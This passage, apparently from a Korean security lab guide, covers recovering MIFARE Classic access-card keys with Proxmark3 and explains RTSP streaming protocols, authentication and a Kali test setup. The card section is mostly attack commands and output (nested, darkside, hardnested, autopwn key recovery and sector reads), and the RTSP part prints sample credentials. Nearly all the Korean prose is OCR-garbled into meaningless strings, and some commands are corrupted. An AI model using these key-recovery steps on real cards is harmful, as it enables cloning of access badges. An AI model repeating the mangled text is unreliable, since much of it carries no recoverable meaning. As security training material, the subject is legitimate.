[usb] pm3 — hf mf rdbl —blk 1 -k FFFFFFFFFFFF

| ascii
+

3 754 00 00 00 20 00 0D 90 00 00 0O 00 Q0

12! 326, HZ=El Oj|o|E| &0l

2T 7| E A-ESt= Tag 2 22 HIOIH read/write 7t 7+55tH, 0| & 24830 Ef 1 AEO| 7Hs 3Lt

eee EQST
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12.3.5.2.2. |2 171 O] 49| 7|1E &1 Q= AR
A& 171 0|9 7|2 L1 QY AL YD Y= F|E 08BN 2 7|2 FEE 5 QUCh ST FtE= ME

R e e N e

8 327. 17 o] o] 22T 7| AE

NESTED 2Zdog g2kt 7|2 g&Es 4
7

74

- CHE MIEOM 20k 17 Ol &t 717t /e 8%

1 =
- EV1 B} tag 7t Ol &% (EV1 tag = NESTED &

N
=2
.
12
O
Rl
)
bjo

i tag o SMEEE 2™ prng detection O] weak 0|11 EV1 EFRO| OFHl S & == QUCH

3 — hf se
hing fo

c_1K

ispl4443-4 card found, RATS not supported

: try "hf mf  commands

[+] Valid ISO 14443-A tag found

71173 328. TAG AAIHE &l
UM U= ME 02 BI|E O|8)M 7| =B A|=BiC)

[usb] pm3 -> hf mf nested --1k --blk O -b -k FFFFFFFFFFFF
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[+]
[=] ch

[+] Time to check 23 know rnnand;

0 key type:

Found 1 k candidates

[uah] pm' — hf mf nested —1k ——D1P -b -k FFFFFFFFFFFF

target block: @ key type: A — found valid key

Chunk: @.4s | found keys (1)
time in nested 2 5@1Jnd;

trying to read key B ...

33 329. 7| F&E AL

0| 835}0f CIOIE =7t 7hs5ttt.

[+] Generating ry key
[+] Found k have been dumped to hf-mf-E

01N

[-] FYI! —> OxFFFFFFFFFFFF ¢— has been inse
a2l 330, 7] r

224
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=
DEJ U2 Y =+ 1% Darkside SALE ot 79| 7|8 2SY == ULCL Darkside 342 st =
C =]

MH7|8 0| 850 tHY
DARKSIDE 54 &=H
- NACK Bug 7t EXHdt= 42

T 7tE= LT 7|E AHEStL K| @2 FH=O0|CH

rir
I

Running strategy 1
Chunk: ¢
Running

Chunk:
time in checkkeys (f:

No keys found

A3 2E7| U S+ US

tag Ol NACK Bug 7t ZH3t=A| 2Ql5t7] 218 'nack’ FES A&t

[usb] pm3 -> hf mf nack

[usb] pm3 — hf mf nack
[=] Checking for NACK bug

[+] NACK test:
13 332. NACK Bug =X 015 =0l

NACK Bug € &¢I%t £ Darkside 342 A5t R2 7| '0172066b2f03'2 2 SHCt.

[usb] pm3 -> hf mf darkside

[usb] pm3 — hf mf nack
cking for MACK

¢ . tion time: sec
pm3-button ¢ the g ce to abort both P

card sends NACK on every authentication.
no candida found,

[ 1= no candidates found, trying again

[=]1

ih

12! 333, Darkside &

Proxmark3 2| Darkside &4 Al HkZo| m2t0|HE X|FSFX| U™ o0 MEHO A 7|8 2S5IH, g2

0|83t EtN 252 X8 5 ULt

2> EQST
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[usb] pm3 — hf mf darkside —help

[-hb] [—blk <dec> ]

-h, —help This help
—blk <dec>
y B instead of default key A

12! 334. Darkside 32 M

2=t 7| 22 HM @I nested SH AFESHO] TH| 7| gt &5 7HSIICE

—

o

1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
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12.3.5.2.4. Prng detection O| hard O] HA X|& 17 o]&e| 7|8 ¥ Y= B2

UL METL LTl 7|E AFESID USLt prng detection O hard 2 M E|0 RL0f nested 40| 27t8t 42

hardnested 42 Al=si= = ULt

DARKSIDE 54 &=H
- ot 7 o &tol Y%l 7|7t Q= E2

- prng detection : hard

3-4 card found, RATS not supported

6EED95695DD7E 591E6F6FE5962BA

95D9841D2141D95E9DE

1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1

13 337. 1~14 ME| LT 7| A

227
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nested 342 A|=g AL prng detection 22 QI3l nested 30| £7t5t A S 2HQlst 4 QUCt
— rf mf

| +ound

Time to check k awn.kn'

ack (PRNG is not predictable).

112 338. nested 32 AT

2

2%l 7|E M8510] hardnested S5 S8l THE ME Q| 7| g{5 = Sottt

HE=EQH ME)O KEY AE 0|20 0 H =2 KEY A & 5)

[usb] pm3 -> hf mf hardnested --blk 4 -a -k FFFFFFFFFFFF --tblk O --ta

time | #nonces ity {il: d to brute e

N

(

[ e ]
Viowowwwwnow

:L%! 339.0H EEKEYA ES

2|55t 7|18 0|85t siF ME 2| To[E &47|7} 7H&SHEt. (KEY A 0|83t 0 1 &5 H[O|H read)

[usb] pm3 -> hf mf rdsc -s 0 -a -k afbecd121313

[usb] pm3 — hf mf rdsc -s @ -a -k afbecd12

2 340.0H EEKEYA EE
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et €2 YR 7|5 & & Ble BE Of CHoli Bt=XM 2 Z hardnested 342 &30} 5t= HAHZZS
£0|7] ?I5} autopwn & 0|85t0] A2tz T 4= ULt ot OjAl= 0 H ME KEY B £ 0|83t]

autopwn = A oHCt,

[usb] pm3 -> hf mf autopwn -s 0 -b -k FFFFFFFFFFFF

S:darkSide / U:User / R:Reused / N:Nested / H:Hardnested / C:statiCnested /

dumped to hf
FFFFFFFFFFF ¢— has
to simula

173 341. Autopwn = 0|88} hardnested
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13. 28 4) AEZ|U T2 EE MANO|E
13.1. 2E2|U Z2EF
13.1.1. 2E2|Y

2EE|d2 o[t 548 HO|HE HAIZISR FHEO MWEst=s 7|2, 25 2 HE=2 S A7t

~E2[d MHIAE HEotd QUL o OiA 2oz 1P 7tHEL, EE, FWE, A0E DO Z0| HAZIe =
Y= SSOtE 10T 717|171 2E2|Y MH|AE Aottt 2AE2|Y SA2 M7ZHX|2 Of2fet 20| L0 ZILt,

1) Progressive download: 7|0 AMEE AEZ|Y HAOZ O|CI0f MHERH SJ42 CHREELL SA0

THAUSIC SR = AR K| Y= dhAl

SERVER

D [ Mo s [ |siciewn [ o5 0y =

Client

1% 342. Progressive download

I HOIHE &M MY 2 S 7222 &/F == HEHE /X5t

2) RTSP, RTMP: A{H{Oj| A &t
LIHX| = HIEO|A AX|SH= 24 O|C

o
e
H

SERVER

D [ Mol ®s [ Juicie s [ s 0y 3

Client

13 343. RTSP, RTMP

3) Adaptive Streaming: ¥4 HO|HE YMS FJ|o] EE0=2 LUH0 LCIR2ZEQL SA|0 XjMsiH,
RTSP/RTMP 2F OrEtZEX|2 X I S WS 7|&2=2 P 52 HEOAM RXSHL LHX|=
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HIO| A AHSHC HESS HEfo] m2t sfd =g e2lg &= UChks ZEO0| ACE DASH(Dynamic Adaptive
Streaming over HTTP)2t HLS, HDS % WebRTC 7} CHEXM O Z 0| &4l S AR $tCt,

SERVER

D [ Meoin ®s [ |uceds  [] @0 qy 5

Client

13 344. Adaptive HTTP Streaming

13.1.2. RTSP, RTMP

13.1.2.1. RTSP

AEZ| O|C|0f MHE Mol SHC 2 HA LY 1998 H IETR(= A HU BES 7|70 o8 I X #FE
Z2EZZ MEE1 /UCL & IHE 2ot ¥o| O| 72 EoA XX &1, AEEE H2 HO|CL SHX| T £=7}
= Ay S A0l 2&H07| HEo HEE2 1P FHH2tM ALERD RACH 1P FiH2ts S
HAIZL 2 AHESE A0 F 57 751 |7] TH-20] RTSP AHEO| XM etstCt.

o

13.1.2.2. RTMP

RTMP & QIHUHE S 2Ez|Y I AFEEICH FEXQl AN 22 HIEoz O|8A=0|A HolE
HMS3HC}. Youtube Lt Facebook & AEE|Y SHZO|M ESHA ALEEICH DICIO MB 3 H|E, YOH0E
SHo=z HQt O|7, 2[4 HIC|R AH X|@ £7F 52| tHEO| ATt
RTSP RTMP
EA AZ | 1996 2009 &
RHEAZE | 2% 52
HE TCP(* RTMFP B HAo= TCP C{4l
Z2EE TeP, UbP UDP AFE 7H5)
TR AE | IP 7t 2t QIE{ul AE2[Y AMH|A(ex,Youtube)
- = 2ERY | - X2 HEHY
s cMAH HICIRQE CHREESHA| 2S5 | - TCP 7|Ete| o= ol oA
- 7H2HOo|E
- ¥H0IE % X|@ BE -> HTMLS5 O A
- dU X SE-> o] 7|E HIOR | XX @& (O Old AMBEX Y=
cHE A8 HIYHM % 0jCo | @AQl Flash E0|ofoflA X[ B0
E8(0[0{0 M X| & SEH HLS o 22 B2tV E Sl AHE)
-0jC|of MH 5 H|E &2
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13.1.2.3. RTP/RTCP
HAIZte2 HICIRL} QLR OHo|HE MYt Z2EZFO|CE ©ESAZOAM UDP £ 7|HISE ARE3ICL
o= 2Y Yo BtY AYME SO| Zk|H 2ot AlZts 7[He 2 HO|HE Mg dd U ULE

S=ot ECt

2954 48.5125 RTP 46 Unknown RTP version 3

2955 48.5125. RTCP 46 64731 - 28871 Lenw=4

2956 48.5126 RTP 46 Unknown RTP version 3

2957 48.5126. RTCP 46 64733 -« 28873 Lenw=d

2958 48.5127 RTP 46 Unknown RTP version 3

2959 48.5127. RTCP 46 64733 » 28873 Len=4

2960 48.5127 RTSP 421 PLAY rtsp://192.168.0.2:554/ RTSP/1.0@

2961 48.5384. RTSP 219 Reply: RTSP/1.8 288 0K

2962 48.5478 RTCP 99 Sender Report Source description

2963 48.5547. RTP 304 PTeDynamicRTP-Type-97, SSRC=Ox73S9EFCH, Seq

1% 345. RTP 2 H|0|E{7} $:AE|l= BE

RTC = RTCP(Real Time Control Protocol)& &7 AHESICH RTP £ O|C|| AEE S MYESH= M RTCP = S
EA 9 MHA EXE DLEHISH=H AMRECH RTCP & Z2 FE AHZOAM EESH FTR J|s50=2:=

S8 MH|AN HE K&, RTP AA0| Al RTP & 7t Q| |0 50| QUL

13.1.3. Adaptive Streaming
13.1.3.1. WebRTC

02 ZE80o| dX| 8l0| Client(® HEtfX, ZHY ofE2|#AH0o|M) 7 p2p 422 O|O|H Wehz
ISt & St= 7[=O0|Ct Client 22| F&0|Lt 24, HAE mewt 22 HO|HE Faf= 0| 7hsdtot
7212 3 A% M2 O XFHLE FHel MHE S s42 FIOEUX|T WebRTC £ &%t S4I2
A2 MHE Sl MEo| YEE MRS = pop WAooz HZAEICH Zb C|HO|AQ| |p 8 OJC|O{ =SH
GolE fdl &= 52 EH 7t MHE F&0l, A/IDAEE MHZt ojH g2 oifh Z2EZ| BEFESL OFF
Tz o|H Ero| MH 7t BRdiCh= EHEOo| QUCH
i
S
Signaling
Server
WebRTC(AlOEE) WebRTC(A| 1€ @)
L~ —
- WebRTC(P2P) -
Client Client

% 346. A|IO'2d SMo| B
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1 0.5 2R E 7bsSICH EBE 1:1, 1:N, N:M A{H|ATL 7Hs 8
St 22 AEHE MH|AO AFEE £ ULCE loT O EO{E, ADIE 20| A
AR 7L QUCH HA} loT & A7 20 M2

WebRTC 2| X|HA|Zt2 1 &= D|EtSZ 0.1 =X
EE, 2jojE A, 2tolE

1

13.14. 7| SO T2 EE
13.1.4.1. SRT(Secure Reliable Transport)

SRT= B¢ mzle] &4 oFE MIstn X7t 478 MHE = Chg WIS WSS W20 SH0| MA|X|
B0 P80l =Lt 7|E ZREZ0AM 271U E Y2oE X -HEF7| W20 ZAA 0L =2 7|& 2Atet
€2 Hot0| Zat oM ALSEICt. = sh= 128/256 HIE AES 2 2HE M Sttt OFEIHK|= X[ ZZ 0
FEOIL MY AEENAM Hi%, 7], E[H7| 22 7|S0| gltt= 0| /ULH
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13.2. RTSP

13.2.1. X7| HZE =22 M| A
5K 2o X7 HZA M™E Ct21F ZCH OPTIONS 2F DESCRIBE, SET UP 22 x7| HAS MMsict HZA
|

23 0|z Muo] Z2E WX ¢ HOIHE =4 &S =+ UCH

il_>_, r—

Client OPTIONS Server

‘ OPTIONS RESPONSE ‘

DESCRIBE

‘ DESCRIBE RESPONSE ‘

l SETUP ‘

- SESSION

‘ SET UP RESPONSE ‘

CONNECTION < > CONNECTION

Ot2f= RTSP 2| 7| =X 2l 273 FHO oL},

HEo] a4
OPTIONS AL 7ts BEO /¥
DESCRIBE ojcio] g2 aF
SET UP oo g2 M &Y Hol 2F
PLAY O] C|Of RH -4
PAUSE O|Cjof LA| EX|
RECORD o|C|of =3t

ANNOUNCE | A/A|7t O|C|0] M % QC|0|E QF

TEARDOWN OC|of Mol B2

GET_PARAMETER | URL OJC|0{e] B 7t 9

fo
0%

SET_PARAMETER | URL O|C|0{Q| HH<= HI =S
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1) OPTIONS / OPTIONS RESPONSE
SE0|AEE= MHO| A8 = U= FTBOE 2FTIL MM = SEH0UET AEY 5 s FEO

L—

i
e
oo
2t

SEBiLY,

OPTIONS OPTIONS RESPONSE
OPTIONS rtsp://xxx.xxx.x.x:554 RTSP/1.0 RTSP/1.0 200 OK
CSeq: 1 CSeq: 1
User-Agent: Lavf59.27.100 Public: OPTIONS, DESCRIBE, SETUP, TEARDOWN,
PLAY, PAUSE

2) DESCRIBE/ DESCRIBE RESPONSE
SE0[AETL MHOH 282 EWH M= RTP ZZEZ0| et Y25 =) 0[o] SEBCt

Ol mjZl2 SDP o YEH= FRH=C}

DESCRIBE DESCRIBE RESPONSE
DESCRIBE rtsp://xxx.xxx.x.x:554 RTSP/1.0 RTSP/1.0 200 OK
Accept: application/sdp CSeq: 2
CSeq: 2 Content-Type: application/sdp
User-Agent: Lavf59.27.100 Content-Length: 370
v=0
s=streamed by the macro-video rtsp server
t=00
a=control:*

a=range:npt=0-

a=x-qt-text-nam:streamed by the macro-video rtsp
server

c=IN IP4 0.0.0.0

m=video 0 RTP/AVP 96

b=AS:500

a=rtpmap:96 H264/90000

a=fmtp:96 profile-level-id=TQAy;packetization-
mode=1;sprop-parameter-
sets=JOOAMudAFABaOIBQUFBAAAMAAQAAAwAesBA
ALcaAACIVF//wKA==K0O48gA==

a=control:track1

5 EQST



- SDP(Session Description Protocol)O|Zh?
ZEDCIHE HESt=

HO|HE F1gh=Ct SDP HA|X| m}2t0|H =

RTP ZZEE0| Cfist ME
242 o|O0| & Zt+ZIC

Mol {82 Holottt RTSP = 7[2XH 22 RTPE S8l S

I}2}o| g ojoj
Vv SDP ZEEEZO| HHTZ EH (SDP 2 H{T: 0)
S MM 0|2 #A
T Timing 2 2 start-time 1t stop-time 2 EA. 002 17 MM 2 2|0
=MO|2 Network type, Address Type, Connection Address Ol RTP O| AL&%
‘ 748 Ho
M A RTP 7h AHBE (RGO} CIRHE §X £2& 80, IP F4, XE HHE FAlZ.

3) SETUP / SETUP RESPONSE
S20|AHE = m{ZI0| URL 1} = 2
RTP O AtEE ZEE XHEY =+ ‘RAEr. MH

ZCt0[HEE FESCE StLte] 2t HO| = 72l SF LS et 8 -?L—.‘?'_—%* = 87
M=o 2= MM M7t RO}

SETUP RESPONSE

SETUP rtsp://xxx.xxx.x.x:554/track1 RTSP/1.0
Transport: RTP/AVP/TCP;unicast;interleaved=0-1
CSeq: 3

User-Agent: Lavf59.27.100

RTSP/1.0 200 OK

CSeq: 3

Session: 383330524

Transport: RTP/AVP/TCP;unicast;interleaved=0-1;

4) Connect
A ol MM, X, M & 529 FIHAHE AL8Y = UCL RTSP = B TS Hojel 2z oA dY
OO|E= RTP 2 s=4lotCt. [t IfZlS TOLEM =7 2780 Y X1I01 AI Of|2F RTSP 7} AFEE| 2 =2 RTP 7t
A8El= AE & & UCH HZ 0|2 PLAY 2 Y [l ¥ S HLH S HO|HE =folg 4= Ut
4
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13.2.2. 94 1=

—

RTSP & MM0| S2E U7X AZO| FOX|X| e AF XgE Z2EZFO|CL) o HO|H HE2 RTP
ZZ2EZ0 sl O|F{X|1 RTSP = HHOAZE M, =3t LA ==l
[t2 PAUSE EO{Lt TEAR DOWN O| O| R X[X| B2 B2 XA §l0| AL SY= S,

ox
Rl
my!
rlo
=
<
i
n
Iul
ot
il
P
_|
O

= PLAY A

E\ OPTIONS, DESCRIBE, SET UP —
Client | HA oz SERVER

RTSP PLAY >
< RTP

TY Ho|E| HS AlF

RTSP >
RECORD

< _ RTP
S HolE HZ + =2t

RTSP TEAR DOWN

RTSP MM &

13 349. RTSP ¢ =

13.2.3. D{3l =
RTSP = HTTP It EXt0| U4 QALSICH S22t0|QIE7} A0 RHS BT M= BEFE SE 2E(ex 200 ok)2

EISICH £0f E&= XIO|MOE2L= RTSP 7 554 ZEE AIRSI: 28 A Z2EZ2 ML 459 TCP/UDP 2f
i S2&FetCh= MO|LCt,

1 EAR =)

- CSeq: RTSP 28-S H Yol AL HZ E X|HTtCt FO{Tl CSeq H2 2 RF-SHE FE0HCt
- Content-Length: H|AE L{&2| Z0|, = OpX|2 & CtZ0f| 2= HEC| L{&2| ZO[O|Ct,

- TRANSPORT: At8Y T& Z2EZS HeE

HA|SHD STt Oj7f a2 LAMBIC)H
- SESSION: SETUP S & 0lA ||| AE{0f 2|8 A|ZtE|21 TEARDOWN O Q|8 S 2= RTSP MM S A EHSICH
- User-Agent: RTSP 288 ELis 2ZEQO HEo| AMHX} U HN HSE X| Yot

—_
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Options: (12 bytes), No-Operation (NOP), Mo-Operation (MOP), Timestamps
[Timestamps ]
[SEQ/ACK analysis]
TCP payload (79 bytes)
v Real Time Streaming Protocol
Request: OPTIONS rtsp:// 1S4 RTSP/L.@8%r\n
CSeq: 1vwrwn
User-Agent: Lavf59.27.18@\r\wn
WEAR

a2l 350, o7 &flH
13.2.4. Q1=

RTSP & HTTP 9| QZHAS OCHZ AFESICE HTTP 2 21F 2 basic 1t digest 2 LHE X QULE basic 2

oX
40

Authorization 8|50 B0t S HESHH AEXL AYFEE Baseo4 AARZ 22 TESHA ELt
Al 7|2 AT
Request WWW-Authenticate: Basic realm="<Ql&s}2{=d Y >"
Response Authorization: Basic “<base64(ID:PW)>"
e 1e=s
Otz RTSP Basic 215 O A|O|Ct.
CHA| 712 s
Request WWW-Authenticate: Basic realm="GStreamer RTSP Server"
Response Authorization: Basic YWRtaW46cG93ZXI=
8e Fe=s
S CHO|R| A E A2 AFEXIE, IHIARIE, nonce 52 Z8SI0] MD5 SHA| 222 215 S +=™ATHC. digest =
P 229 Yx0|0 T ek o2 SO MTES BX[E I8 nonce 42 AFESHZ| WE0 £& nonce
O ATt digest 7t &3 §HO| UL O] nonce & EZQ| ZHE HX|GHY| I8 ALBE =+ U= HE L33}
EZ0lCt
A 712 A5
Request WWW-Authenticate: Digest realm="<2l5352{= F>" nonce="<nonce>"
Authorization: Digest realm="<?2/55l2{= FY>" nonce="<nonce>" username="<
Response
ID >" url="<2H url>"
e Authentication-info: next-nonce="<nonce>"

Of2fl= RTSP Digest 215 OfA|O|C},

. 7 F
Request WWW-Authenticate: Digest realm="Login to c4fcf0317dacceal208a3853a7a3413e",
nonce="dd16fad9f99952b7aef1b570588d2529"
Authorization: Digest username="", realm="Login to
Response c4fcf0317dacceal208a3853a7a3413e",

nonce="dd16fad9f99952b7aef1b570588d2529", uri="rtsp://192.168.0.2:554",
response="992b4decf76033affaa8aaad521469a4"
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Ht

13.3. ZICt 2t A 3
ol g2 252 A 7|

(™ HE: VMware Workstation 16, Kali Linux 2022.3)

S 2 J|&5t ALt

M

13.3.1. 7|2 23 4%

RTSP & &X[0 &M VMware L O|O|X[0| M RTSP T{ZlS =QI5H7| €|
13.3.1.1. Wireshark A X]

RSTP IZ0 AL 9 SN T2 24 A AR 4 Ut

Z4 MO Kali Linux 0l= 7| 2822 Wireshark 7t HX|E|0] Qlol, Hxo| MX[ Ee Al Of2iE & 11510
MX|E FISHOF B

(™ HE: Wireshark 3.6.7)

rot
rtot

H8 2780 ERottt.

Wireshark A X|

# apt update

# apt-get install wireshark

13.3.2. VLC Player

VLC media Player = CHF&2| E|D|C|Of mAD}f Chfot AE
Z2{0|0] 2Z EQ|0{O|Ct. Windows, macOS, Linux, Android S0f
(™ ™M E: VLC media player 3.0.17.4 Vetinari)

]
oQ
[H
HU
H
13l
o 1o
=
0=
mot
>
$0
rr
-0
HU
to
Il
B>
[>

X
=
o
et
+
£Q
n

13.3.2.1. VLC Player &%

2|52 2t

# apt update

# apt-get install vic

=2 URL Ct2

https://www.videolan.org/vlc/index.ko.html

13.3.2.2. VLC Player A2
2|52 AFE A| VLC Player £ root 29| M3S X| K| =L

—(root® kali)-[/home/kali
#vic
VLCis not supposed to be run as root. Sorry.

If you need to use real-time priorities and/or privileged TCP ports
you can use vlc-wrapper (make sure it is Set-UID root and
cannot be run by non-trusted users first).

2
o‘_’:!
I
N

12l 351. Root H
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oL >

gjcjoi(M) | AL 2C02@)

HICI2V) AHM =7(S) 27100 =SE(H)

W EELE-VVIE -1

S == —

E=1(0)

) OEY E7(P. Ctrl+0

) I ofEf 7 €7((0). Ctrl+Shift+0

B 24 SUI.. Ctrl+F

& O3 2¢D). Ctrl+D

= HEgQ|3 AEZ EI|(N).. Ctrl+N

EF A EHR E700). Ctrl+C
S2EC o A E71(1L) Ctrl+V
ZZ 0o E7I(R) ’
MHESES THUZ HEF). Ctrl+Y
#st  HESH|R) Ctrl+R

) AEZIBEI|(S) Ctrl+S

Ctrl+Q

13 352. VLC Player &

o

HEQR AEY @A7| > T2 Q2] HO|A RTSP FAS HA0] 23 QeiBicy
A O|C|) #7 - o
| DH(FX w C| 243D T U ER (N F B ZRE|CD)
HERHI =258
HERHI =48 2LESHI
=
&2t &4 =2230(M)
AP = BT
A%l 353. RTSP F4& 9H
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13.3.3. FFmpeg

ZE[OICIY =g /I32 2= CX|E 4, 580 oiet .28
QEAA TZIO|CEH Windows, macOS, Linux SOA AFEE 2= ULt
(M7 ZE: FFmpeg version 5.1-2+b1)

13.3.3.1. FFmpeg &%

# apt update

# apt-get install ffmpeg

13.3.3.2. FFplay
FFplay £ FFmpeg 2tO|E2{2|Q} SDL 2t0|E2{2|E Ar&dtE D|E|0] Z20[0{Ct. FFmpeg FHO &X| Al
AHEso2 HAZ|H Frpaly BHOE Soff HHCE 42 2HAZ =

13.3.3.3. FFplay &M

g4 2 M
initial_pause 0,1 2EZ 72H1 YAl A Y SX(7124k 0)
udp UDP E o1%| & TEEEZ AtE
tcp TCP(RTSP MO ®{ 2 Wo| PIHE|E)TE Z2EZE ALE
rtsp_transport - » >
udp_multicast UDP ZHE|FHAEE oI9 & Z2EZE ALE
http/https HTTP/HTTPS HE Y S o9 T& ZEESE AI8
filter_src ZH 2 A 89 TEZEEO| TfZITE A
listen MHZAM S 6H A HEE
rtsp_flags — —
RTSP RTP ETHAZEZA TCP £ AT £ U= 42 =,
prefer_tcp
=L 'none’

%|Z22 TCP for RTP transport & AtE (7]
video, audio, data, | AIH{O|A & &% 0O|C|0f 3

mjo
nx
oA
N

allowed_media_types

subtitle Oicio] RS 58
min_port XA 2Z UDP ZEE 4 (7|23} 5000)
max_port Xy 24 uDP ZEE MH (7|27} 65000)
X7 §&52 =EoH| et x| EfYORR(E B EF
listen_timeout 1~ .
(ZI2a= -1, A 473 gjofgh
reorder_queue_size HEE 22 Helsh7| s e 2l =8 43
timeout 270 TCP I/O EtY 022 O0|32 X tHel2 87
User-Agent Si|lHE HO{aCh X|FSHX| Y™ J[27kQ
user_agent

YA AL
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13.3.3.4. FFplay Al

FFplay & AF83%t0f AE2|Yk[= RSTP &2 & & UL

# ffplay -rtsp_transport tcp "rtsp://admin:eqstlab%2 1 @xxx.xxx.x.xx"

FFplay £ 0|83t TCP & S{ 1t AY YEE F7s HEotot.

root® kali)-[/home/kalil
# tiplay -rt ! tcp "rtsp://admin:eqstiab%21@
ffplay version 5.1-2+b1 Copyright (c) 2003-2022 the FFmpeg developers
built with gcc 12 (Debian 12.1.0-7)
configuration: --prefix=/usr --extra-version=2+b1 --toolchain=harde b/x86_

amd64 --enable-gpl --disable-stripping --enable-gnutls --enable-ladspa --enable-libaom --enable
a --enable-libcdio --enable-libcodec2 --enable-libdavld --enable-libflite --enable-libfontconfi

ang --enable-libgme --enable-libgsm --enable-libjack --enable-libmp3lame --enable-libmysofa --¢
able-libpulse --enable-librabbitmq --enable-librist --enable-librubberband --enable-libshine
e-libsrt --enable-libssh --enable-libsvtavl --enable-libtheora --enable-libtwolame --enable-lib
--enable-libx265 --enable-libxml2 --enable-libxvid --enable-libzimg --enable-libzmq --enable-|

a3 356. 30| ¥

1% 357. HAZH 34 =
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